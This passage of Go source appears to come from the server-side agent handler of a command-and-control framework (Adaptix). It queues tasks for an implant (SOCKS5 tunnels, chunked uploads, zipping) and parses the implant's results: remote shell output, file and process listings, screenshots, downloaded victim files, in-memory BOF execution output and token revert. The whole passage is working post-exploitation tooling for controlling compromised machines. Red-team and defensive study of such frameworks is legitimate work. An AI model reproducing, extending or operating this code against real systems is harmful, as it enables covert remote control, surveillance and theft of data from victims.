goto RET
|
|
}
|
|
|
|
taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port)
|
|
|
|
} else {
|
|
tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "")
|
|
if err2 != nil {
|
|
err = err2
|
|
goto RET
|
|
}
|
|
taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
|
|
if err2 != nil {
|
|
err = err2
|
|
goto RET
|
|
}
|
|
|
|
taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port)
|
|
}
|
|
taskData.MessageType = adaptix.MESSAGE_SUCCESS
|
|
taskData.ClearText = "\n"
|
|
|
|
} else if subcommand == "stop" {
|
|
taskData.Completed = true
|
|
|
|
Ts.TsTunnelStopSocks(agentData.Id, port)
|
|
|
|
taskData.MessageType = adaptix.MESSAGE_SUCCESS
|
|
taskData.Message = "Socks5 server has been stopped"
|
|
taskData.ClearText = "\n"
|
|
|
|
} else {
|
|
err = errors.New("subcommand must be 'start' or 'stop'")
|
|
goto RET
|
|
}
|
|
|
|
case "upload":
|
|
remote_path, err := getStringArg(args, "remote_path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
localFile, err := getStringArg(args, "local_file")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
|
|
fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile)
|
|
if decodeErr != nil {
|
|
err = decodeErr
|
|
goto RET
|
|
}
|
|
|
|
zipContent, zipErr := ZipBytes(fileContent, remote_path)
|
|
if zipErr != nil {
|
|
err = zipErr
|
|
goto RET
|
|
}
|
|
|
|
chunkSize := 0x500000 // 5Mb
|
|
bufferSize := len(zipContent)
|
|
|
|
inTaskData := adaptix.TaskData{
|
|
Type: adaptix.TASK_TYPE_TASK,
|
|
AgentId: agentData.Id,
|
|
Sync: false,
|
|
}
|
|
|
|
for start := 0; start < bufferSize; start += chunkSize {
|
|
fin := start + chunkSize
|
|
finish := false
|
|
if fin >= bufferSize {
|
|
fin = bufferSize
|
|
finish = true
|
|
}
|
|
|
|
inPackerData, _ := msgpack.Marshal(ParamsUpload{
|
|
Path: remote_path,
|
|
Content: zipContent[start:fin],
|
|
Finish: finish,
|
|
})
|
|
inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData}
|
|
|
|
if finish {
|
|
cmd = inCmd
|
|
break
|
|
|
|
} else {
|
|
inTaskData.Data, _ = msgpack.Marshal(inCmd)
|
|
inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32())
|
|
|
|
Ts.TsTaskCreate(agentData.Id, "", "", inTaskData)
|
|
}
|
|
}
|
|
|
|
case "zip":
|
|
path, err := getStringArg(args, "path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
zip_path, err := getStringArg(args, "zip_path")
|
|
if err != nil {
|
|
goto RET
|
|
}
|
|
packerData, _ := msgpack.Marshal(ParamsZip{Src: path, Dst: zip_path})
|
|
cmd = Command{Code: COMMAND_ZIP, Data: packerData}
|
|
|
|
default:
|
|
err = errors.New(fmt.Sprintf("Command '%v' not found", command))
|
|
goto RET
|
|
}
|
|
|
|
taskData.Data, _ = msgpack.Marshal(cmd)
|
|
|
|
/// END CODE
|
|
|
|
RET:
|
|
return taskData, messageData, err
|
|
}
|
|
|
|
func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error {
|
|
var outTasks []adaptix.TaskData
|
|
|
|
taskData := adaptix.TaskData{
|
|
Type: adaptix.TASK_TYPE_TASK,
|
|
AgentId: agentData.Id,
|
|
FinishDate: time.Now().Unix(),
|
|
MessageType: adaptix.MESSAGE_SUCCESS,
|
|
Completed: true,
|
|
Sync: true,
|
|
}
|
|
|
|
/// START CODE
|
|
|
|
var (
|
|
inMessage Message
|
|
cmd Command
|
|
job Job
|
|
)
|
|
|
|
err := msgpack.Unmarshal(decryptedData, &inMessage)
|
|
if err != nil {
|
|
return errors.New("failed to unmarshal message")
|
|
}
|
|
|
|
if inMessage.Type == 1 {
|
|
|
|
for _, cmdBytes := range inMessage.Object {
|
|
err = msgpack.Unmarshal(cmdBytes, &cmd)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
TaskId := cmd.Id
|
|
commandId := cmd.Code
|
|
task := taskData
|
|
task.TaskId = fmt.Sprintf("%08x", TaskId)
|
|
|
|
switch commandId {
|
|
|
|
case COMMAND_CAT:
|
|
var params AnsCat
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = fmt.Sprintf("'%v' file content:", params.Path)
|
|
task.ClearText = string(params.Content)
|
|
|
|
case COMMAND_CD:
|
|
var params AnsPwd
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = "Current working directory:"
|
|
task.ClearText = params.Path
|
|
|
|
case COMMAND_CP:
|
|
task.Message = "Object copied successfully"
|
|
|
|
case COMMAND_EXEC_BOF:
|
|
|
|
var params AnsExecBof
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
var msgs []BofMsg
|
|
err = msgpack.Unmarshal(params.Msgs, &msgs)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
task.Message = "BOF output"
|
|
|
|
for _, msg := range msgs {
|
|
if msg.Type == CALLBACK_AX_SCREENSHOT {
|
|
|
|
buf := bytes.NewReader(msg.Data)
|
|
var length uint32
|
|
if err := binary.Read(buf, binary.LittleEndian, &length); err != nil {
|
|
continue
|
|
}
|
|
note := make([]byte, length)
|
|
if _, err := buf.Read(note); err != nil {
|
|
continue
|
|
}
|
|
screen := make([]byte, len(msg.Data)-4-int(length))
|
|
if _, err := buf.Read(screen); err != nil {
|
|
continue
|
|
}
|
|
|
|
_ = Ts.TsScreenshotAdd(agentData.Id, string(note), screen)
|
|
|
|
} else if msg.Type == CALLBACK_AX_DOWNLOAD_MEM {
|
|
buf := bytes.NewReader(msg.Data)
|
|
var length uint32
|
|
if err := binary.Read(buf, binary.LittleEndian, &length); err != nil {
|
|
continue
|
|
}
|
|
filename := make([]byte, length)
|
|
if _, err := buf.Read(filename); err != nil {
|
|
continue
|
|
}
|
|
data := make([]byte, len(msg.Data)-4-int(length))
|
|
if _, err := buf.Read(data); err != nil {
|
|
continue
|
|
}
|
|
name := Ts.TsConvertCpToUTF8(string(filename), agentData.ACP)
|
|
fileId := fmt.Sprintf("%08x", mrand.Uint32())
|
|
_ = Ts.TsDownloadSave(agentData.Id, fileId, name, data)
|
|
|
|
} else if msg.Type == CALLBACK_ERROR {
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
task.Message = "BOF error"
|
|
task.ClearText += ensureNewline(Ts.TsConvertCpToUTF8(string(msg.Data), agentData.ACP))
|
|
} else {
|
|
task.ClearText += ensureNewline(Ts.TsConvertCpToUTF8(string(msg.Data), agentData.ACP))
|
|
}
|
|
}
|
|
|
|
case COMMAND_EXIT:
|
|
task.Message = "The agent has completed its work (kill process)"
|
|
_ = Ts.TsAgentTerminate(agentData.Id, task.TaskId)
|
|
|
|
case COMMAND_JOB_LIST:
|
|
var params AnsJobList
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
var jobList []JobInfo
|
|
err = msgpack.Unmarshal(params.List, &jobList)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
Output := ""
|
|
if len(jobList) > 0 {
|
|
Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type")
|
|
Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------")
|
|
|
|
for _, value := range jobList {
|
|
stringType := "Unknown"
|
|
if value.JobType == 0x2 {
|
|
stringType = "Download"
|
|
} else if value.JobType == 0x3 {
|
|
stringType = "Process"
|
|
} else if value.JobType == 0x6 {
|
|
stringType = "Async BOF"
|
|
}
|
|
|
|
Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType)
|
|
}
|
|
|
|
task.Message = "Job list:"
|
|
task.ClearText = Output
|
|
} else {
|
|
task.Message = "No active jobs"
|
|
}
|
|
|
|
case COMMAND_JOB_KILL:
|
|
task.Message = "Job killed"
|
|
|
|
case COMMAND_LS:
|
|
var params AnsLs
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
|
|
var items []adaptix.ListingFileDataWin
|
|
|
|
if !params.Result {
|
|
task.Message = params.Status
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
} else {
|
|
var Files []FileInfo
|
|
err := msgpack.Unmarshal(params.Files, &Files)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
filesCount := len(Files)
|
|
if filesCount == 0 {
|
|
task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path)
|
|
} else {
|
|
|
|
var folders []adaptix.ListingFileDataWin
|
|
var files []adaptix.ListingFileDataWin
|
|
|
|
for _, f := range Files {
|
|
|
|
date := int64(0)
|
|
t, err := time.Parse("02/01/2006 15:04", f.Date)
|
|
if err == nil {
|
|
date = t.Unix()
|
|
}
|
|
|
|
fileData := adaptix.ListingFileDataWin{
|
|
IsDir: f.IsDir,
|
|
Size: f.Size,
|
|
Date: date,
|
|
Filename: f.Filename,
|
|
}
|
|
|
|
if f.IsDir {
|
|
folders = append(folders, fileData)
|
|
} else {
|
|
files = append(files, fileData)
|
|
}
|
|
}
|
|
|
|
items = append(folders, files...)
|
|
|
|
OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name")
|
|
OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----")
|
|
|
|
for _, item := range items {
|
|
t := time.Unix(item.Date, 0).UTC()
|
|
lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute())
|
|
|
|
if item.IsDir {
|
|
OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename)
|
|
} else {
|
|
OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename)
|
|
}
|
|
}
|
|
task.Message = fmt.Sprintf("Listing '%s'", params.Path)
|
|
task.ClearText = OutputText
|
|
|
|
}
|
|
}
|
|
Ts.TsClientGuiFilesWindows(task, params.Path, items)
|
|
|
|
} else {
|
|
|
|
var items []adaptix.ListingFileDataUnix
|
|
|
|
if !params.Result {
|
|
task.Message = params.Status
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
} else {
|
|
var Files []FileInfo
|
|
err := msgpack.Unmarshal(params.Files, &Files)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
filesCount := len(Files)
|
|
if filesCount == 0 {
|
|
task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path)
|
|
} else {
|
|
|
|
modeFsize := 1
|
|
lnkFsize := 1
|
|
userFsize := 1
|
|
groupFsize := 1
|
|
sizeFsize := 1
|
|
dateFsize := 1
|
|
|
|
for _, f := range Files {
|
|
val := fmt.Sprintf("%d", f.Nlink)
|
|
if len(val) > lnkFsize {
|
|
lnkFsize = len(val)
|
|
}
|
|
val = fmt.Sprintf("%d", f.Size)
|
|
if len(val) > sizeFsize {
|
|
sizeFsize = len(val)
|
|
}
|
|
if len(f.Mode) > modeFsize {
|
|
modeFsize = len(f.Mode)
|
|
}
|
|
if len(f.User) > userFsize {
|
|
userFsize = len(f.User)
|
|
}
|
|
if len(f.Group) > groupFsize {
|
|
groupFsize = len(f.Group)
|
|
}
|
|
if len(f.Date) > dateFsize {
|
|
dateFsize = len(f.Date)
|
|
}
|
|
}
|
|
|
|
format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize)
|
|
OutputText := ""
|
|
for _, fi := range Files {
|
|
OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename)
|
|
|
|
fileData := adaptix.ListingFileDataUnix{
|
|
IsDir: fi.IsDir,
|
|
Mode: fi.Mode,
|
|
User: fi.User,
|
|
Group: fi.Group,
|
|
Size: fi.Size,
|
|
Date: fi.Date,
|
|
Filename: fi.Filename,
|
|
}
|
|
|
|
items = append(items, fileData)
|
|
}
|
|
|
|
task.Message = fmt.Sprintf("Listing '%s'", params.Path)
|
|
task.ClearText = OutputText
|
|
}
|
|
}
|
|
Ts.TsClientGuiFilesUnix(task, params.Path, items)
|
|
}
|
|
|
|
case COMMAND_MKDIR:
|
|
task.Message = "Directory created successfully"
|
|
|
|
case COMMAND_MV:
|
|
task.Message = "Object moved successfully"
|
|
|
|
case COMMAND_PS:
|
|
var params AnsPs
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
|
|
var proclist []adaptix.ListingProcessDataWin
|
|
|
|
if !params.Result {
|
|
task.Message = params.Status
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
} else {
|
|
var Processes []PsInfo
|
|
err := msgpack.Unmarshal(params.Processes, &Processes)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
procCount := len(Processes)
|
|
if procCount == 0 {
|
|
task.Message = "Failed to get process list"
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
break
|
|
} else {
|
|
|
|
contextMaxSize := 10
|
|
|
|
for _, p := range Processes {
|
|
|
|
sessId, err := strconv.Atoi(p.Tty)
|
|
if err != nil {
|
|
sessId = 0
|
|
}
|
|
|
|
procData := adaptix.ListingProcessDataWin{
|
|
Pid: uint(p.Pid),
|
|
Ppid: uint(p.Ppid),
|
|
SessionId: uint(sessId),
|
|
Arch: "",
|
|
Context: p.Context,
|
|
ProcessName: p.Process,
|
|
}
|
|
|
|
if len(procData.Context) > contextMaxSize {
|
|
contextMaxSize = len(procData.Context)
|
|
}
|
|
|
|
proclist = append(proclist, procData)
|
|
}
|
|
|
|
type TreeProc struct {
|
|
Data adaptix.ListingProcessDataWin
|
|
Children []*TreeProc
|
|
}
|
|
|
|
procMap := make(map[uint]*TreeProc)
|
|
var roots []*TreeProc
|
|
|
|
for _, proc := range proclist {
|
|
node := &TreeProc{Data: proc}
|
|
procMap[proc.Pid] = node
|
|
}
|
|
|
|
for _, node := range procMap {
|
|
if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid {
|
|
roots = append(roots, node)
|
|
} else if parent, ok := procMap[node.Data.Ppid]; ok {
|
|
parent.Children = append(parent.Children, node)
|
|
} else {
|
|
roots = append(roots, node)
|
|
}
|
|
}
|
|
|
|
sort.Slice(roots, func(i, j int) bool {
|
|
return roots[i].Data.Pid < roots[j].Data.Pid
|
|
})
|
|
|
|
var sortChildren func(node *TreeProc)
|
|
sortChildren = func(node *TreeProc) {
|
|
sort.Slice(node.Children, func(i, j int) bool {
|
|
return node.Children[i].Data.Pid < node.Children[j].Data.Pid
|
|
})
|
|
for _, child := range node.Children {
|
|
sortChildren(child)
|
|
}
|
|
}
|
|
for _, root := range roots {
|
|
sortChildren(root)
|
|
}
|
|
|
|
format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", contextMaxSize)
|
|
OutputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process")
|
|
OutputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------")
|
|
|
|
var lines []string
|
|
|
|
var formatTree func(node *TreeProc, prefix string, isLast bool)
|
|
formatTree = func(node *TreeProc, prefix string, isLast bool) {
|
|
branch := "├─ "
|
|
if isLast {
|
|
branch = "└─ "
|
|
}
|
|
treePrefix := prefix + branch
|
|
data := node.Data
|
|
|
|
line := fmt.Sprintf(format, data.Pid, data.Ppid, data.SessionId, data.Arch, data.Context, treePrefix+data.ProcessName)
|
|
lines = append(lines, line)
|
|
|
|
childPrefix := prefix
|
|
if isLast {
|
|
childPrefix += " "
|
|
} else {
|
|
childPrefix += "│ "
|
|
}
|
|
|
|
for i, child := range node.Children {
|
|
formatTree(child, childPrefix, i == len(node.Children)-1)
|
|
}
|
|
}
|
|
|
|
for i, root := range roots {
|
|
formatTree(root, "", i == len(roots)-1)
|
|
}
|
|
|
|
OutputText += "\n" + strings.Join(lines, "\n")
|
|
task.Message = "Process list:"
|
|
task.ClearText = OutputText
|
|
}
|
|
}
|
|
Ts.TsClientGuiProcessWindows(task, proclist)
|
|
|
|
} else {
|
|
|
|
var proclist []adaptix.ListingProcessDataUnix
|
|
|
|
if !params.Result {
|
|
task.Message = params.Status
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
} else {
|
|
var Processes []PsInfo
|
|
err := msgpack.Unmarshal(params.Processes, &Processes)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
procCount := len(Processes)
|
|
if procCount == 0 {
|
|
task.Message = "Failed to get process list"
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
break
|
|
} else {
|
|
pidFsize := 3
|
|
ppidFsize := 4
|
|
ttyFsize := 3
|
|
contextFsize := 7
|
|
|
|
for _, p := range Processes {
|
|
val := fmt.Sprintf("%d", p.Pid)
|
|
if len(val) > pidFsize {
|
|
pidFsize = len(val)
|
|
}
|
|
val = fmt.Sprintf("%d", p.Ppid)
|
|
if len(val) > ppidFsize {
|
|
ppidFsize = len(val)
|
|
}
|
|
if len(p.Tty) > ttyFsize {
|
|
ttyFsize = len(p.Tty)
|
|
}
|
|
if len(p.Context) > contextFsize {
|
|
contextFsize = len(p.Context)
|
|
}
|
|
|
|
processData := adaptix.ListingProcessDataUnix{
|
|
Pid: uint(p.Pid),
|
|
Ppid: uint(p.Ppid),
|
|
TTY: p.Tty,
|
|
Context: p.Context,
|
|
ProcessName: p.Process,
|
|
}
|
|
|
|
proclist = append(proclist, processData)
|
|
}
|
|
|
|
type TreeProc struct {
|
|
Data adaptix.ListingProcessDataUnix
|
|
Children []*TreeProc
|
|
}
|
|
|
|
procMap := make(map[uint]*TreeProc)
|
|
var roots []*TreeProc
|
|
|
|
for _, proc := range proclist {
|
|
node := &TreeProc{Data: proc}
|
|
procMap[proc.Pid] = node
|
|
}
|
|
|
|
for _, node := range procMap {
|
|
if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid {
|
|
roots = append(roots, node)
|
|
} else if parent, ok := procMap[node.Data.Ppid]; ok {
|
|
parent.Children = append(parent.Children, node)
|
|
} else {
|
|
roots = append(roots, node)
|
|
}
|
|
}
|
|
|
|
sort.Slice(roots, func(i, j int) bool {
|
|
return roots[i].Data.Pid < roots[j].Data.Pid
|
|
})
|
|
|
|
var sortChildren func(node *TreeProc)
|
|
sortChildren = func(node *TreeProc) {
|
|
sort.Slice(node.Children, func(i, j int) bool {
|
|
return node.Children[i].Data.Pid < node.Children[j].Data.Pid
|
|
})
|
|
for _, child := range node.Children {
|
|
sortChildren(child)
|
|
}
|
|
}
|
|
for _, root := range roots {
|
|
sortChildren(root)
|
|
}
|
|
|
|
format := fmt.Sprintf(" %%-%dv %%-%dv %%-%dv %%-%dv %%v", pidFsize, ppidFsize, ttyFsize, contextFsize)
|
|
OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "CommandLine")
|
|
OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-----------")
|
|
|
|
var lines []string
|
|
|
|
var formatTree func(node *TreeProc, prefix string, isLast bool)
|
|
formatTree = func(node *TreeProc, prefix string, isLast bool) {
|
|
branch := "├─ "
|
|
if isLast {
|
|
branch = "└─ "
|
|
}
|
|
treePrefix := prefix + branch
|
|
data := node.Data
|
|
|
|
line := fmt.Sprintf(format, data.Pid, data.Ppid, data.TTY, data.Context, treePrefix+data.ProcessName)
|
|
lines = append(lines, line)
|
|
|
|
childPrefix := prefix
|
|
if isLast {
|
|
childPrefix += " "
|
|
} else {
|
|
childPrefix += "│ "
|
|
}
|
|
|
|
for i, child := range node.Children {
|
|
formatTree(child, childPrefix, i == len(node.Children)-1)
|
|
}
|
|
}
|
|
|
|
for i, root := range roots {
|
|
formatTree(root, "", i == len(roots)-1)
|
|
}
|
|
|
|
OutputText += "\n" + strings.Join(lines, "\n")
|
|
task.Message = "Process list:"
|
|
task.ClearText = OutputText
|
|
}
|
|
}
|
|
Ts.TsClientGuiProcessUnix(task, proclist)
|
|
}
|
|
|
|
case COMMAND_KILL:
|
|
task.Message = "Process killed"
|
|
|
|
case COMMAND_PWD:
|
|
var params AnsPwd
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = "Current working directory:"
|
|
task.ClearText = params.Path
|
|
|
|
case COMMAND_SCREENSHOT:
|
|
var params AnsScreenshots
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
count := 0
|
|
if params.Screens != nil {
|
|
count = len(params.Screens)
|
|
if count == 1 {
|
|
_ = Ts.TsScreenshotAdd(agentData.Id, "", params.Screens[0])
|
|
} else {
|
|
for num, screen := range params.Screens {
|
|
_ = Ts.TsScreenshotAdd(agentData.Id, fmt.Sprintf("Monitor %d", num), screen)
|
|
}
|
|
}
|
|
}
|
|
task.Message = fmt.Sprintf("%d screenshots saved", count)
|
|
|
|
case COMMAND_SHELL:
|
|
var params AnsShell
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
task.Message = "Command output:"
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
task.ClearText = Ts.TsConvertCpToUTF8(params.Output, agentData.OemCP)
|
|
} else {
|
|
task.ClearText = params.Output
|
|
}
|
|
|
|
case COMMAND_REV2SELF:
|
|
task.Message = "Token reverted successfully"
|
|
emptyImpersonate := ""
|
|
_ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct {
|
|
Impersonated *string `json:"impersonated"`
|
|
}{Impersonated: &emptyImpersonate})
|
|
|
|
case COMMAND_RM:
|
|
task.Message = "Object deleted successfully"
|
|
|
|
case COMMAND_UPLOAD:
|
|
var params AnsUpload
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = fmt.Sprintf("File '%s' successfully uploaded", params.Path)
|
|
Ts.TsClientGuiFilesStatus(task)
|
|
|
|
case COMMAND_ZIP:
|
|
var params AnsZip
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = fmt.Sprintf("Archive '%s' successfully created", params.Path)
|
|
task.MessageType = adaptix.MESSAGE_SUCCESS
|
|
|
|
case COMMAND_ERROR:
|
|
var params AnsError
|
|
err := msgpack.Unmarshal(cmd.Data, ¶ms)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
task.Message = fmt.Sprintf("Error %s", params.Error)
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
|
|
default:
|
|
continue
|
|
}
|
|
|
|
outTasks = append(outTasks, task)
|
|
}
|
|
|
|
} else if inMessage.Type == 2 {
|
|
|
|
if len(inMessage.Object) == 1 {
|
|
err = msgpack.Unmarshal(inMessage.Object[0], &job)
|
|
if err != nil {
|
|
goto HANDLER
|
|
}
|
|
|
|
task := taskData
|
|
task.TaskId = job.JobId
|
|
|
|
switch job.CommandId {
|
|
|
|
case COMMAND_DOWNLOAD:
|
|
|
|
var params AnsDownload
|
|
err := msgpack.Unmarshal(job.Data, ¶ms)
|
|
if err != nil {
|
|
goto HANDLER
|
|
}
|
|
fileId := fmt.Sprintf("%08x", params.FileId)
|
|
|
|
if params.Start {
|
|
task.Message = fmt.Sprintf("The download of the '%s' file (%v bytes) has started: [fid %v]", params.Path, params.Size, fileId)
|
|
_ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size))
|
|
}
|
|
|
|
_ = Ts.TsDownloadUpdate(fileId, 1, params.Content)
|
|
|
|
if params.Finish {
|
|
task.Completed = true
|
|
|
|
if params.Canceled {
|
|
task.Message = fmt.Sprintf("Download '%v' successful canceled", fileId)
|
|
_ = Ts.TsDownloadClose(fileId, 4)
|
|
} else {
|
|
task.Message = fmt.Sprintf("File download complete: [fid %v]", fileId)
|
|
_ = Ts.TsDownloadClose(fileId, 3)
|
|
}
|
|
} else {
|
|
goto HANDLER
|
|
}
|
|
|
|
case COMMAND_EXEC_BOF_ASYNC:
|
|
|
|
var params AnsExecBofAsync
|
|
err := msgpack.Unmarshal(job.Data, ¶ms)
|
|
if err != nil {
|
|
goto HANDLER
|
|
}
|
|
|
|
var msgs []BofMsg
|
|
err = msgpack.Unmarshal(params.Msgs, &msgs)
|
|
if err != nil {
|
|
goto HANDLER
|
|
}
|
|
|
|
task.Completed = false
|
|
|
|
if params.Start {
|
|
task.Message = fmt.Sprintf("Start async BOF [%v]", task.TaskId)
|
|
} else if !params.Finish {
|
|
task.Message = fmt.Sprintf("Async BOF [%v] output", task.TaskId)
|
|
}
|
|
|
|
for _, msg := range msgs {
|
|
|
|
if msg.Type == CALLBACK_AX_SCREENSHOT {
|
|
buf := bytes.NewReader(msg.Data)
|
|
var length uint32
|
|
if err := binary.Read(buf, binary.LittleEndian, &length); err != nil {
|
|
continue
|
|
}
|
|
note := make([]byte, length)
|
|
if _, err := buf.Read(note); err != nil {
|
|
continue
|
|
}
|
|
screen := make([]byte, len(msg.Data)-4-int(length))
|
|
if _, err := buf.Read(screen); err != nil {
|
|
continue
|
|
}
|
|
|
|
_ = Ts.TsScreenshotAdd(agentData.Id, string(note), screen)
|
|
|
|
} else if msg.Type == CALLBACK_AX_DOWNLOAD_MEM {
|
|
buf := bytes.NewReader(msg.Data)
|
|
var length uint32
|
|
if err := binary.Read(buf, binary.LittleEndian, &length); err != nil {
|
|
continue
|
|
}
|
|
filename := make([]byte, length)
|
|
if _, err := buf.Read(filename); err != nil {
|
|
continue
|
|
}
|
|
data := make([]byte, len(msg.Data)-4-int(length))
|
|
if _, err := buf.Read(data); err != nil {
|
|
continue
|
|
}
|
|
name := Ts.TsConvertCpToUTF8(string(filename), agentData.ACP)
|
|
fileId := fmt.Sprintf("%08x", mrand.Uint32())
|
|
|
|
_ = Ts.TsDownloadSave(agentData.Id, fileId, name, data)
|
|
|
|
} else if msg.Type == CALLBACK_ERROR {
|
|
task.MessageType = adaptix.MESSAGE_ERROR
|
|
task.Message = fmt.Sprintf("Async BOF [%v] error", task.TaskId)
|
|
task.ClearText += ensureNewline(Ts.TsConvertCpToUTF8(string(msg.Data), agentData.ACP))
|
|
} else {
|
|
task.ClearText += ensureNewline(Ts.TsConvertCpToUTF8(string(msg.Data), agentData.ACP))
|
|
}
|
|
}
|
|
|
|
if params.Finish {
|
|
task.Message = fmt.Sprintf("Async BOF [%v] finished", task.TaskId)
|
|
task.Completed = true
|
|
}
|
|
|
|
case COMMAND_RUN:
|
|
|
|
var params AnsRun
|
|
err := msgpack.Unmarshal(job.Data, ¶ms)
|
|
if err != nil {
|
|
goto HANDLER
|
|
}
|
|
|
|
task.Completed = false
|
|
|
|
if params.Start {
|
|
task.Message = fmt.Sprintf("Run process [%v] with pid '%v'", task.TaskId, params.Pid)
|
|
}
|
|
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
task.ClearText = Ts.TsConvertCpToUTF8(params.Stdout, agentData.OemCP)
|
|
} else {
|
|
task.ClearText = params.Stdout
|
|
}
|
|
|
|
if params.Stderr != "" {
|
|
errorStr := params.Stderr
|
|
if agentData.Os == adaptix.OS_WINDOWS {
|
|
errorStr = Ts.TsConvertCpToUTF8(params.Stderr, agentData.OemCP)
|
|
}
|
|
task.ClearText += fmt.Sprintf("\n --- [error] --- \n%v ", errorStr)
|
|
}
|
|
|
|
if params.Finish {
|
|
task.Message = fmt.Sprintf("Process [%v] with pid '%v' finished", task.TaskId, params.Pid)
|
|
task.Completed = true
|
|
}
|
|
|
|
default:
|
|
goto HANDLER
|
|
}
|
|
|
|
outTasks = append(outTasks, task)
|
|
}
|
|
}
|
|
|
|
HANDLER:
|
|
|
|
/// END CODE
|
|
|
|
for _, task := range outTasks {
|
|
Ts.TsTaskUpdate(agentData.Id, task)
|
|
}
|
|
|
|
return nil
|
|
}
|